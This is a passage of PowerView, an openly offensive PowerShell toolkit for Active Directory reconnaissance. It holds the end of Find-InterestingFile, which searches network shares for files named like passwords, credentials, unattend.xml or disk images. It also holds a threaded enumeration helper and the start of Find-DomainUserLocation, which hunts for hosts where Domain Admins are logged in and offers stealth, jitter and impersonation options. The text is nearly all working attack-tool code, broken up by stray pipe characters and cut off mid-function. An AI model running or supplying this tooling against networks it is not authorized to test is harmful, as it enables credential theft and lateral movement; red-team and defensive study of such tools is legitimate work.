Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.FoundFile
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.FoundFile')]
|
|
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Path = '.\',
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SearchTerms', 'Terms')]
|
|
[String[]]
|
|
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$LastAccessTime,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$LastWriteTime,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$CreationTime,
|
|
|
|
[Parameter(ParameterSetName = 'OfficeDocs')]
|
|
[Switch]
|
|
$OfficeDocs,
|
|
|
|
[Parameter(ParameterSetName = 'FreshEXEs')]
|
|
[Switch]
|
|
$FreshEXEs,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[Switch]
|
|
$ExcludeFolders,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[Switch]
|
|
$ExcludeHidden,
|
|
|
|
[Switch]
|
|
$CheckWriteAccess,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Recurse' = $True
|
|
'ErrorAction' = 'SilentlyContinue'
|
|
'Include' = $Include
|
|
}
|
|
if ($PSBoundParameters['OfficeDocs']) {
|
|
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
|
|
}
|
|
elseif ($PSBoundParameters['FreshEXEs']) {
|
|
# find .exe's accessed within the last 7 days
|
|
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
|
|
$SearcherArguments['Include'] = @('*.exe')
|
|
}
|
|
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
|
|
|
|
$MappedComputers = @{}
|
|
|
|
function Test-Write {
|
|
# short helper to check is the current user can write to a file
|
|
[CmdletBinding()]Param([String]$Path)
|
|
try {
|
|
$Filetest = [IO.File]::OpenWrite($Path)
|
|
$Filetest.Close()
|
|
$True
|
|
}
|
|
catch {
|
|
$False
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($TargetPath in $Path) {
|
|
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
|
|
$HostComputer = (New-Object System.Uri($TargetPath)).Host
|
|
if (-not $MappedComputers[$HostComputer]) {
|
|
# map IPC$ to this computer if it's not already
|
|
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
|
|
$MappedComputers[$HostComputer] = $True
|
|
}
|
|
}
|
|
|
|
$SearcherArguments['Path'] = $TargetPath
|
|
Get-ChildItem @SearcherArguments | ForEach-Object {
|
|
# check if we're excluding folders
|
|
$Continue = $True
|
|
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
|
|
Write-Verbose "Excluding: $($_.FullName)"
|
|
$Continue = $False
|
|
}
|
|
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
|
|
$Continue = $False
|
|
}
|
|
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
|
|
$Continue = $False
|
|
}
|
|
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
|
|
$Continue = $False
|
|
}
|
|
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
|
|
$Continue = $False
|
|
}
|
|
if ($Continue) {
|
|
$FileParams = @{
|
|
'Path' = $_.FullName
|
|
'Owner' = $((Get-Acl $_.FullName).Owner)
|
|
'LastAccessTime' = $_.LastAccessTime
|
|
'LastWriteTime' = $_.LastWriteTime
|
|
'CreationTime' = $_.CreationTime
|
|
'Length' = $_.Length
|
|
}
|
|
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
|
|
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
|
|
$FoundFile
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
# remove the IPC$ mappings
|
|
$MappedComputers.Keys | Remove-RemoteConnection
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# 'Meta'-functions start below
|
|
#
|
|
########################################################
|
|
|
|
function New-ThreadedFunction {
|
|
# Helper used by any threaded host enumeration functions
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[System.Management.Automation.ScriptBlock]
|
|
$ScriptBlock,
|
|
|
|
[Parameter(Position = 2)]
|
|
[Hashtable]
|
|
$ScriptParameters,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20,
|
|
|
|
[Switch]
|
|
$NoImports
|
|
)
|
|
|
|
BEGIN {
|
|
# Adapted from:
|
|
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
|
|
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
|
|
|
|
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
|
|
# force a single-threaded apartment state (for token-impersonation stuffz)
|
|
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
|
|
|
|
# import the current session state's variables and functions so the chained PowerView
|
|
# functionality can be used by the threaded blocks
|
|
if (-not $NoImports) {
|
|
# grab all the current variables for this runspace
|
|
$MyVars = Get-Variable -Scope 2
|
|
|
|
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
|
|
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
|
|
|
|
# add Variables from Parent Scope (current runspace) into the InitialSessionState
|
|
ForEach ($Var in $MyVars) {
|
|
if ($VorbiddenVars -NotContains $Var.Name) {
|
|
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
|
|
}
|
|
}
|
|
|
|
# add Functions from current runspace to the InitialSessionState
|
|
ForEach ($Function in (Get-ChildItem Function:)) {
|
|
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
|
|
}
|
|
}
|
|
|
|
# threading adapted from
|
|
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
|
|
# Thanks Carlos!
|
|
|
|
# create a pool of maxThread runspaces
|
|
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
|
|
$Pool.Open()
|
|
|
|
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
|
|
$Method = $Null
|
|
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
|
|
$MethodParameters = $M.GetParameters()
|
|
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
|
|
$Method = $M.MakeGenericMethod([Object], [Object])
|
|
break
|
|
}
|
|
}
|
|
|
|
$Jobs = @()
|
|
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
|
|
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
|
|
|
|
# partition all hosts from -ComputerName into $Threads number of groups
|
|
if ($Threads -ge $ComputerName.Length) {
|
|
$Threads = $ComputerName.Length
|
|
}
|
|
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
|
|
$ComputerNamePartitioned = @()
|
|
$Start = 0
|
|
$End = $ElementSplitSize
|
|
|
|
for($i = 1; $i -le $Threads; $i++) {
|
|
$List = New-Object System.Collections.ArrayList
|
|
if ($i -eq $Threads) {
|
|
$End = $ComputerName.Length
|
|
}
|
|
$List.AddRange($ComputerName[$Start..($End-1)])
|
|
$Start += $ElementSplitSize
|
|
$End += $ElementSplitSize
|
|
$ComputerNamePartitioned += @(,@($List.ToArray()))
|
|
}
|
|
|
|
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
|
|
|
|
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
|
|
# create a "powershell pipeline runner"
|
|
$PowerShell = [PowerShell]::Create()
|
|
$PowerShell.runspacepool = $Pool
|
|
|
|
# add the script block + arguments with the given computer partition
|
|
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
|
|
if ($ScriptParameters) {
|
|
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
|
|
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
|
|
}
|
|
}
|
|
|
|
# create the output queue
|
|
$Output = New-Object Management.Automation.PSDataCollection[Object]
|
|
|
|
# kick off execution using the BeginInvok() method that allows queues
|
|
$Jobs += @{
|
|
PS = $PowerShell
|
|
Output = $Output
|
|
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
Write-Verbose "[New-ThreadedFunction] Threads executing"
|
|
|
|
# continuously loop through each job queue, consuming output as appropriate
|
|
Do {
|
|
ForEach ($Job in $Jobs) {
|
|
$Job.Output.ReadAll()
|
|
}
|
|
Start-Sleep -Seconds 1
|
|
}
|
|
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
|
|
|
|
$SleepSeconds = 100
|
|
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
|
|
|
|
# cleanup- make sure we didn't miss anything
|
|
for ($i=0; $i -lt $SleepSeconds; $i++) {
|
|
ForEach ($Job in $Jobs) {
|
|
$Job.Output.ReadAll()
|
|
$Job.PS.Dispose()
|
|
}
|
|
Start-Sleep -S 1
|
|
}
|
|
|
|
$Pool.Dispose()
|
|
Write-Verbose "[New-ThreadedFunction] all threads completed"
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainUserLocation {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds domain machines where specific users are logged into.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and queries the domain for users of a specified group
|
|
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
|
|
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
|
|
The found user list is compared against the target list, and any matches are
|
|
displayed. If -ShowAll is specified, all results are displayed instead of
|
|
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
|
|
are enumerated with Get-DomainFileServer/Get-DomainController, and session
|
|
enumeration is executed only against those servers. If -Credential is passed,
|
|
then Invoke-UserImpersonation is used to impersonate the specified user
|
|
before enumeration, reverting after with Invoke-RevertToSelf.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to query for computers AND users, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerUnconstrained
|
|
|
|
Switch. Search computer objects that have unconstrained delegation.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER UserIdentity
|
|
|
|
Specifies one or more user identities to search for.
|
|
|
|
.PARAMETER UserDomain
|
|
|
|
Specifies the domain to query for users to search for, defaults to the current domain.
|
|
|
|
.PARAMETER UserLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for target users.
|
|
|
|
.PARAMETER UserSearchBase
|
|
|
|
Specifies the LDAP source to search through for target users.
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER UserGroupIdentity
|
|
|
|
Specifies a group identity to query for target users, defaults to 'Domain Admins.
|
|
If any other user specifications are set, then UserGroupIdentity is ignored.
|
|
|
|
.PARAMETER UserAdminCount
|
|
|
|
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
|
|
|
|
.PARAMETER UserAllowDelegation
|
|
|
|
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
|
|
|
|
.PARAMETER CheckAccess
|
|
|
|
Switch. Check if the current user has local admin access to computers where target users are found.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER StopOnSuccess
|
|
|
|
Switch. Stop hunting after finding after finding a target user.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER ShowAll
|
|
|
|
Switch. Return all user location results instead of filtering based on target
|
|
specifications.
|
|
|
|
.PARAMETER Stealth
|
|
|
|
Switch. Only enumerate sessions from connonly used target servers.
|
|
|
|
.PARAMETER StealthSource
|
|
|
|
The source of target servers to use, 'DFS' (distributed file servers),
|
|
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainUserLocation
|
|
|
|
Searches for 'Domain Admins' by enumerating every computer in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainUserLocation -Stealth -ShowAll
|
|
|
|
Enumerates likely highly-trafficked servers, performs just session enumeration
|
|
against each, and outputs all results.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
|
|
|
|
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
|
|
users in dev.testlab.local.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
|
|
|
|
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.UserLocation
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.UserLocation')]
|
|
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[Alias('Unconstrained')]
|
|
[Switch]
|
|
$ComputerUnconstrained,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Parameter(ParameterSetName = 'UserIdentity')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$UserIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserSearchBase,
|
|
|
|
[Parameter(ParameterSetName = 'UserGroupIdentity')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('GroupName', 'Group')]
|
|
[String[]]
|
|
$UserGroupIdentity = 'Domain Admins',
|
|
|
|
[Alias('AdminCount')]
|
|
[Switch]
|
|
$UserAdminCount,
|
|
|
|
[Alias('AllowDelegation')]
|
|
[Switch]
|
|
$UserAllowDelegation,
|
|
|
|
[Switch]
|
|
$CheckAccess,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$StopOnSuccess,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Parameter(ParameterSetName = 'ShowAll')]
|
|
[Switch]
|
|
$ShowAll,
|
|
|
|
[Switch]
|
|
$Stealth,
|
|
|
|
[String]
|
|
[ValidateSet('DFS', 'DC', 'File', 'All')]
|
|
$StealthSource = 'All',
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
$UserSearcherArguments = @{
|
|
'Properties' = 'samaccountname'
|
|
}
|
|
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
|
|
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
|
|
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
|
|
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
|
|
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
|
|
|
|
$TargetComputers = @()
|
|
|
|
# first, build the set of computers to enumerate
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = @($ComputerName)
|
|
}
|
|
else {
|
|
if ($PSBoundParameters['Stealth']) {
|
|
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
|
|
$TargetComputerArrayList = New-Object System.Collections.ArrayList
|
|
|
|
if ($StealthSource -match 'File|All') {
|
|
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
|
|
$FileServerSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
|
|
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
|
|
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
|
|
$TargetComputerArrayList.AddRange( $FileServers )
|
|
}
|
|
if ($StealthSource -match 'DFS|All') {
|
|
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
|
|
# # TODO: fix the passed parameters to Get-DomainDFSShare
|
|
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
|
|
}
|
|
if ($StealthSource -match 'DC|All') {
|
|
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
|
|
$DCSearcherArguments = @{
|
|
'LDAP' = $True
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
|
|
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
|
|
$TargetComputerArrayList.AddRange( $DomainControllers )
|
|
}
|
|
$TargetComputers = $TargetComputerArrayList.ToArray()
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
}
|
|
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-DomainUserLocation] No hosts found to enumerate'
|
|
}
|
|
|
|
# get the current user so we can ignore it in the results
|
|
if ($PSBoundParameters['Credential']) {
|
|
$CurrentUser = $Credential.GetNetworkCredential().UserName
|
|
}
|
|
else {
|
|
$CurrentUser = ([Environment]::UserName).ToLower()
|
|
}
|
|
|
|
# now build the user target set
|
|
if ($PSBoundParameters['ShowAll']) {
|
|
$TargetUsers = @()
|
|
}
|
|
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
|
|
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
|
|
}
|
|
else {
|
|
$GroupSearcherArguments = @{
|
|
'Identity' = $UserGroupIdentity
|
|
'Recurse' = $True
|
|
}
|
|
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
|
|
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
|
|
}
|
|
|
|
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
|
|
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
|
|
throw '[Find-DomainUserLocation] No users found to target'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
|
|
|
|
if ($TokenHandle) {
|
|
